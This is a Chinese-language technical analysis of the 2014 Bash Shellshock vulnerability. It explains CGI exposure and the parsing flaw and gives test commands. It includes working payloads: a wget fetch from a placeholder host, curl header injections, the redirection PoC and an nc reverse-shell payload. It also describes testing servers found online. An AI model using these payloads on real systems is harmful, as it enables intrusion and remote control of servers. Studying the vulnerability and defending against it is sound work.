很多人或許對2014上半年發生的安全問題“心臟流血”(Heartbleed Bug)事件記憶頗深,2014年9月,又出現了另外一個“毀滅級”的漏洞——Bash軟件安全漏洞。這個漏洞由法國GNU/Linux愛好者Stéphane Chazelas所發現。隨后,美國電腦應急響應中心(US-CERT)、紅帽以及多家從事安全的公司于周三(北京時間2014年9月24日)發出警告。
關于這個安全漏洞的細節可參看:CVE-2014-6271 和 CVE-2014-7169。
漏洞概況信息如下:
漏洞英文名稱 Bash Shellshock
中文命名 破殼(X-CERT)
威脅響應等級 A級
漏洞相關CVE編號 CVE-2014-6271
漏洞發現者 Stéphane Chazelas(法國)
漏洞發現事件 2014年9月中旬
漏洞公布時間 9月25日
漏洞影響對象 bash 1.14至bash 4.3的Linux/Unix系統
2014年9月,UNIX、Linux系統中廣泛使用的Bash軟件被曝出了一系列、已經存在數十年的漏洞(Bash或Shellshock),在業界引起了非常大的影響。
最初的bug已經修復了,但引發了人們對Bash的解析程序可能產生0day漏洞的關切,隨后又挖掘出了第二個漏洞CVE-2014-7169,這個漏洞也在很快得到了修復。
不少Linux發行版本連夜發布了修復版本的Bash,在服務器領域占有不少份額的大多數FreeBSD 和NetBSD已經默認關閉了自動導入函數的功能,以應對未來可能出現的漏洞。
在這個漏洞的風波逐漸平息之余,不少業內人士也在思考,它為何波及如此之廣,影響如此之大。
InfoWorld的專欄作者Andrew C. Oliver在一篇文章中表達了自己看法,他認為CGI技術的普及是個錯誤,正是因為CGI技術的不合理之處,Shellshock才有機可乘。
CGI技術是Web技術剛興起的時候發明的,它是最早的可以創建動態網頁內容的技術之一。它會把一個HTTP請求轉化為一次shell調用。
而Shellshock的原理是利用了Bash在導入環境變量函數時候的漏洞,啟動Bash的時候,它不但會導入這個函數,而且也會把函數定義后面的命令執行。在有些CGI腳本的設計中,數據是通過環境變量來傳遞的,這樣就給了數據提供者利用Shellshock漏洞的機會。
0.1 Bash介紹
Bourne Again Shell(簡稱BASH)是在GNU/Linux上最流行的SHELL實現,于1980年誕生,經過了幾十年的進化從一個簡單的終端命令行解釋器演變成了和GNU系統深度整合的多功能接口。
根據維基百科的描述:Bash,Unix shell的一種。1989年發布第一個正式版本,原先是計劃用在GNU操作系統上,但能運行于大多數類Unix系統的操作系統之上,包括Linux與Mac OS X v10.4都將它作為默認shell。它也被移植到Microsoft Windows上的Cygwin與MinGW,或是可以在MS-DOS上使用的DJGPP項目。在Novell NetWare與Android上也有移植。
0.2 CGI技術與腳本解析
CGI (Common Gateway Interface),是一種基于瀏覽器的輸入,在Web服務器上運行程序的方法。
CGI腳本讓瀏覽器與用戶產生交互,例如,信息評論,表單選擇,數據庫查詢。
作為網頁設計者,通常創建客戶端的 CGI腳本,服務器端的程序用來處理用戶輸入,結果返回給用戶。
后臺處理程序不僅僅可以用PHP、Python、Perl等腳本來接受請求、解釋執行、響應客戶端,當然還可以用Bash腳本來解釋執行用戶提交的GET或POST請求。
0.3 Bash漏洞與遠程執行
洞利用一般分為本地利用和遠程執行利用。
該漏洞爆出后,一些研究人員最初認為該漏洞只是本地漏洞,所以無法很好地利用。
隨著研究的深入,研究發現其實它可以進行遠程利用。2014年9月24日Bash被公布存在遠程代碼執行漏洞。
Bash漏洞其實是非常經典的“注入式攻擊”,也就是可以向 bash注入一段命令,從bash1.14 到4.3都存在這樣的漏洞。
由于Bash存儲遠程執行漏洞,所以,理論上,可以在HTTP請求中注入一個Bash命令,進行遠程執行,比如:
#!bash
() { :;}; wget http://www.XXX.com/testvul.sh
對于利用Bash腳本處理用戶請求的網站,攻擊者可以精心偽造數據,通過網絡傳到一臺服務器上,直接或間接觸發一個bash腳本,這樣就可以遠程執行惡意代碼。
由于Bash是一個被廣泛集成的軟件,幾乎所有的系統都在運行,從Rapsberry Pis到手機,再到數據中心的服務器以及大型機等。
由于自動導入函數的功能至少從Bash 3.0開始就存在了,所以這個bug有可能在大多數系統中存在近20年了。
由于Apache服務器中使用mod_cgi
(不包括mod_php
或mod_python
)運行腳本的時候,數據是通過環境變量來傳遞的,這可以算是互聯網領域最古老的一些技術了。
其他一些客戶端也會受到影響——比如Linux的DHCP客戶端——它大量運用Bash腳本來使修改生效,這也使黑客能通過在DHCP數據包中加入惡意數據來達到攻擊的目的。
鑒于Bash是大多數Linux系統(以及OSX)上默認的shell,這個漏洞就意味著,把有害數據編入環境變量,傳到服務器端,觸發服務器運行Bash腳本,就完成了攻擊(passing an poisoned environment variable through to a server running a CGI script could trivially be compromised
)。
舉個例子,HTTP協議的頭User-Agent通常是通過環境變量HTTP_USER_AGENT
來傳遞的,這意味使用以下命令就可以測試這個漏洞了:
#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://example.com/some-cgi/script.cgi
對于不傳遞User-Agent
的服務器來說,常常還有其他受攻擊的可能——比如Cookie
,Referer
或者請求本身。 另外,這個bug不僅僅影響CGI腳本和Apache——如果其他程序也收到并傳遞了有害的環境變量(比如ssh服務會接收TERM或DISPLAY環境變量),然后這些進程再運行一個Bash腳本(或通過system()調用來執行),同樣的漏洞也會被利用。
和HTTP不同,SSH一般不允許匿名請求——觸發這個漏洞之前必須要登錄——但是代碼托管服務商們卻允許匿名登錄(哪怕只登錄到一個權限受限的shell),所以為了防止入侵,GitHub更新了他們的企業級產品,Bitbucket也更新了他們的服務器。
由于Bash漏洞能夠遠程執行,所以會產生像struts2等漏洞利用一樣的效果,對攻擊者而言,通常就是“拿站或拿服務器”,再去執行其他操作。
下面引用一張圖,做個簡單的形象說明。
漏洞信息最早來源于國外知名漏洞網站exploit-db下的第34765篇漏洞報告,其中出現了一條驗證命令:
#!bash
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
如果在一個含有版本號小于bash 4.3的linux或者unix系統,本地執行以上命令,可能會得到以下輸出:
#!bash
Vulnerable this is a test
其中如果出現第一行vulnerable則說明該系統存在一個由bash程序缺陷導致的任意命令執行漏洞。
Windows Cygwin Terminal本地執行結果如下:
Kali 1.0.9-i386本地執行結果如下:
CVE-2014-6271中的bug修復后,問題馬上就解決了,大多數廠商都及時提供了修復后的Bash版本。面向互聯網的服務器沒有理由不馬上修復它,因為這個漏洞會使主機完全落入別人的控制(以Apache所使用的用戶身份)中。 但是,大家的目光已經聚焦在這個領域,新的bug被發現了。同時使用Bash的shell重定向功能和函數自動導入功能,CVE-2014-7169出現了。這回導致的結果是可以隨意讀寫遠程機器上的文件,使用的手段和上次一樣,只不過這次是利用了shell的重定向符號<或>。
#!bash
env CVE_2014_7169='() { (a)=>\' bash -c "echo date"; cat echo
這次解析器先停在=號上(由于(a)=不是一個有效的Bash表達式),但至關重要的是把<號留在了解析管道中。接下來的轉義符\會使解析器在重定向命令之間插入一些空格(但無關緊要),最終導致了后面的命令變成了一條重定向命令:
#!bash
>echo data
這是一條有效的Bash命令,語義上它等價于下面這種更常見的形式:
#!bash
date >echo
注意,另外一個重定向符號<在這里也是有效的,它可以把輸入重定向到文件。 所以這個bug也被修復了。
當然,有能力設置任何環境變量,可以使攻擊者控制一切東西——修改IFS環境變量(過去被利用過的一個漏洞),甚至修改PATH環境變量,會影響新啟動的shell腳本的行為,無論如何這些手段都會導致問題。但至少前面提到的SSH和CGI攻擊中,涉及的環境變量要么是有限幾個(TERM、DISPLAY等),要么是以某個前綴(HTTP_USER_AGENT、HTTP_REFERRER)
開頭的。所以除了前綴名所代表的程序外,其他的程序受影響有限。
有些人預計Bash自動導入函數的功能還存在安全漏洞,擔心未來還會有bug曝出。NetBSD在Bash中默認關閉了自動導入函數的功能,FreeBSD也這么做了,轉而以新增選項( --import-functions
)的方式提供這個功能。
1.1 正常執行過程分析
我們先來看一下這個安全問題的癥狀。這個問題的發生是因為Bash的一個功能,它允許在Bash的shell中使用環境變量來定義函數。函數的作用是把經常調用的代碼封裝起來,然后在其他地方復用,所有的shell腳本語言都有這個功能。Bash中函數的定義是這樣的(大多數其他shell也是):
#!bash
function hello {
echo "Hello"
}
hello # 調用這個函數
但是,Bash還有一種使用環境變量來定義函數的方法,這是它獨有的。
如果環境變量的值以字符“() {”開頭,那么這個變量就會被當作是一個導入函數的定義(Export),這種定義只有在shell啟動的時候才生效。
#!bash
$ export HELLO="() { echo 'Hello'; }"
$ HELLO
-bash: HELLO: command not found
$ bash
$ HELLO
Hello
上述語句在Cygwin Terminal環境下的測試結果如下。
使用下面語句定義后,查看環境變量,可以發現剛才定義的值
#!bash
export X='() { echo "inside X"; }; echo "outside X";'
下面對Bash獨特的定義方式進行測試,因為這種獨特的方法只會在shell啟動的時候生效,所以大多數用來演示這個漏洞的示例代碼都只有一行:
#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO
這行代碼的作用跟下面分步執行的語句,在效果上是一樣的。
env命令代表“先設置下面的環境變量,再運行下面的程序”,并且執行完成后當前的環境變量不受影響。實際上,直接寫成
#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO
也可以。
bash命令指定了-c
選項是為了啟動bash時就執行HELLO函數,這里必須新起一個bash,因為只有bash啟動的時候才會去解析函數的定義。
正常的函數定義和執行如下
#!bash
env HELLO="() { echo 'Hello'; }" bash -c HELLO
1.2 異常執行過程分析
通過上述對bash 執行過程分析,可知bash在處理含有函數定義諸如"() { :; }
"的環境變量賦值的代碼上存在設計缺陷,錯誤地將函數定義后面的字符串作為命令執行。
所以真正的利用與env命令無關,只要設法讓系統接受一個含有"[函數定義]+[任意命令]"的環境變量賦值則可觸發" [任意命令] "部分所表示的代碼執行。
惡意命令被添加在合法環境變量之后,Bash會首先運行惡意命令,異常執行結構圖示如下:
Shellshock command diagram (Symantec)
異常方式,如果注入如下代碼(需要注意的是此例中函數定義使用的是單引號,函數體內容為空,函數體后有echo語句)。
#!bash
env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"
上述輸入向環境變量中注入了一段代碼 echo Bash is vulnerable。
打個比方,本來正常要執行的是“牛A”和“牛C”,結果中間的“牛B”被執行了
Bash漏洞在于函數體外面的代碼被默認地執行了,執行結果如下所示。
問題出現在bash解析完函數定義,執行函數的時候,它自動導入函數的解析器越過了函數定義的結尾,接著執行后面的代碼,并且由于每一個新的bash啟動時都會觸發這個漏洞,相當于任意代碼都能被執行了。
有漏洞的系統還會把“Bash is vulnerable
”打出來,在修復后的系統中,上面命令的結果應該只打印“Hello”,而不會執行其他的語句。
1.3 源碼級分析
由于網上已經有相關分析文章,具體請參考如下鏈接:
期待更多大神級源碼深入分析。
對于存在Bash漏洞系統而言,由于它允許未經授權的遠程用戶可以指定Bash環境變量,那么運行這些服務或應用程序的系統,就存在漏洞被利用的可能。
只要是能通過某種手段為bash傳遞環境變量的程序都受此影響。當然最典型的的就是bash寫的CGI程序了,客戶端通過在請求字符串里加入構造的值,就可以輕松攻擊運行CGI的服務器。
目前大多數的網站很少用CGI了,所以問題不算太大。但是有很多的網絡設備,如路由器、交換機等都使用了Perl或者其他語言編寫的CGI程序,只要是底層調用了bash,那么就愛存在風險。
任何已知程序,只要滿足以下兩個條件就可以被用來通過bash漏洞導致任意命令執行:
1、程序在某一時刻使用bash作為腳本解釋器處理環境變量賦值; 2、環境變量賦值字符串的提交取決于用戶輸入。
目前,可能被利用的系統包括:
3.1 不同工具測試比較
不同工具測試同一地址。
工具1 利用Crow Strike ShellShock Scanner測試Bash漏洞,該工具可以批量掃描,測試某網站結果如下:
為了分析該工具的測試字符,利用Wireshark抓包,發現該工具主要測試了3個字段Test、Cookie、Referer,抓包結果如下:
工具2
工具3
3.2 本地測試
本地構造不同的POC,進行Bash漏洞測試,如果我們打開Cygwin Terminal,使用不同的測試用例,進行測試,在Cygwin Terminal下的測試結果如下:
3.3 遠程測試
選取網上搜索到的目標,對其進行Bash漏洞測試,使用工具curl。
測試命令如下:
#!bash
curl -H 'User-Agent:() { :; }; echo -e "\r\nVul\r\n"' http://XXX:8080/cgi-bin/XXX.cgi
測試截圖如下:
在http協議中構造Referer
、Cookie
、User-Agent
字段命令,使用Burpsuit,發送到存在Bash漏洞的服務器,會返回3個Vul字符,說明3個字段傳遞的參數都被服務器后端腳本解析處理,測試結果如下:
構造其他Poc,獲取服務器用戶名和密碼。
在本地搭建有Bash漏洞的服務器,利用瀏覽器訪問CGI頁面,顯示正常訪問。
用Burpsuit進行攔截,初始時intercept is off
。
用Burpsuit進行攔截,打開intercept is on
。
修改http協議中的User-Agent字段為
#!bash
() { :; }; /bin/bash -c "nc 192.168.175.142 4444 -e /bin/bash -i"
發送http請求后,nc反彈,可以查看用戶名、目錄、系統版本等信息。
1) http://www.freebuf.com/vuls/44994.html
2) http://www.freebuf.com/news/44768.html
3) http://www.freebuf.com/news/45436.html
4) http://blog.csdn.net/u011721501/article/details/39558303
5) http://www.srxh1314.com/bash-cgi-bin.html
6) http://www.linuxidc.com/Linux/2014-09/107250.htm
7) http://www.freebuf.com/tools/45311.html
8) http://www.timlaytoncybersecurity.com/2014/09/30/shellshock-bash-code-injection-vulnerability- overview-info/
9) http://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high- risk.html
10) http://blog.erratasec.com/2014/09/the-shockingly-bad-code-of-bash.html#.VEW-R_mUeE0
11) http://blog.cloudflare.com/inside-shellshock/
12) http://www.zenghui123.com/2014-10/linux-bash-vulnerability-ShellShock/
13) http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock- holes-found
14) http://www.itnews.com.au/News/396256,further-flaws-render-shellshock-patch-ineffective.aspx
15) http://www.antiy.com/response/CVE-2014-6271.html
16) http://www.antiy.com/response/The_Association_Threat_Evolution_of_Bash_and_the_Current_Status_of_Malware_in_UNIX-like_Systems.html
17) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559
18) http://blog.csdn.net/delphiwcdj/article/details/18048757
19) http://drops.wooyun.org/papers/3064
20) http://fish.ijinshan.com/cgibincheck/check
21) https://access.redhat.com/articles/1200223
22) http://www.antiy.com/response/CVE-2014-6271.html
23) http://lcamtuf.blogspot.fr/2014/09/quick-notes-about-bash-bug-its-impact.html
24) http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html
25) http://mashable.com/2014/09/26/what-is-shellshock/
26) http://www.businessinsider.com/bash-shell-bug-explained-2014-9
27) http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html#.VD5bk2SUeE0
28) http://blog.erratasec.com/2014/09/bash-shellshock-bug-is-wormable.html#.VD5bymSUeE1
29) http://resources.infosecinstitute.com/bash-bug-cve-2014-6271-critical-vulnerability-scaring- internet/
30) http://unix.stackexchange.com/questions/157329/what-does-env-x-command-bash-do-and-why-is-it- insecure
31) http://askubuntu.com/questions/529511/explanation-of-the-command-to-check-shellshock
32) http://digg.com/video/the-shellshock-bug-explained-in-about-four-minutes
33) http://www.symantec.com/connect/blogs/shellshock-all-you-need-know-about-bash-bug-vulnerability
34) http://brandonpotter.wordpress.com/2014/09/30/some-stats-from-shellshock-test-tool-analysis/
35) http://coolshell.cn/articles/11973.html
36) http://www.infoq.com/cn/news/2014/10/shellshock
37) http://www.infoq.com/news/2014/09/shellshock
38) http://www.freebuf.com/articles/web/45520.html
39) http://blog.sucuri.net/2014/09/bash-shellshocker-attacks-increase-in-the-wild-day-1.html
40) http://mobile.itnews.com.au/News/396197,first-shellshock-botnet-attacks-akamai-us-dod- networks.aspx
41) http://securityaffairs.co/wordpress/29070/malware/mayhem-shellshock-attacks-worldwide.html
42) http://www.carmelowalsh.com/2014/09/wopbot-botnet/
43) http://blog.malwaremustdie.org/2014/10/mmd-0029-2015-warning-of-mayhem.html
44) http://www.incapsula.com/blog/shellshock-bash-vulnerability-aftermath.html
45) https://www.digitalocean.com/community/tutorials/how-to-protect-your-server-against-the- shellshock-bash-vulnerability
46) https://github.com/gry/shellshock-scanner
47) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/
48) https://community.qualys.com/blogs/securitylabs/2014/09/25/shellshock-is-your-webserver-under- attack
49) https://community.qualys.com/blogs/qualys-tech/2014/10/02/using-qualys-was-scan-to-detect- shellshock-vulnerability
50) http://samiux.blogspot.com/2014/09/exploit-shellshock-proof-of-concept.html
51) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/
52) http://milankragujevic.com/projects/shellshock/
53) http://milankragujevic.com/post/64
54) http://breizh-entropy.org/~nameless/random/posts/shellshock_shits_got_real/
55) http://www.tripwire.com/state-of-security/vulnerability-management/how-to-detect-the-shellshock- bash-bug-on-your-internal-network/
56) https://github.com/gry/shellshock-scanner
57) http://blog.crowdstrike.com/crowdstrike-shellshock-scanner/
58) http://businessinsights.bitdefender.com/shellshock-bashbug
59) http://www.csoonline.com/article/2689216/vulnerabilities/apple-publishes-patch-for-shellshock- vulnerability.html
60) http://alblue.bandlem.com/2014/09/bash-remote-vulnerability.html
61) https://shellshocker.net/
62) https://github.com/mubix/shellshocker-pocs
63) http://oleaass.com/shellshock-proof-of-concept-reverse-shell/
64) http://www.freebuf.com/articles/system/45390.html
65) http://blog.knownsec.com/2014/10/shellshock_response_profile_v4/#more-1559
66) http://it.deepinmind.com/%E5%85%B6%E5%AE%83/2014/09/26/everything-you-need-to-know-about- shellshock.html
67) http://www.securitysift.com/the-search-for-shellshock/
68) http://blog.cloudflare.com/inside-shellshock/
69) http://blog.regehr.org/archives/1187
70) https://github.com/mubix/shellshocker-pocs
71) http://pastebin.com/mG1grQwK
72) http://www.cyactive.com/shellshock-blasts-supermassive-black-hole-heart-cyber-space/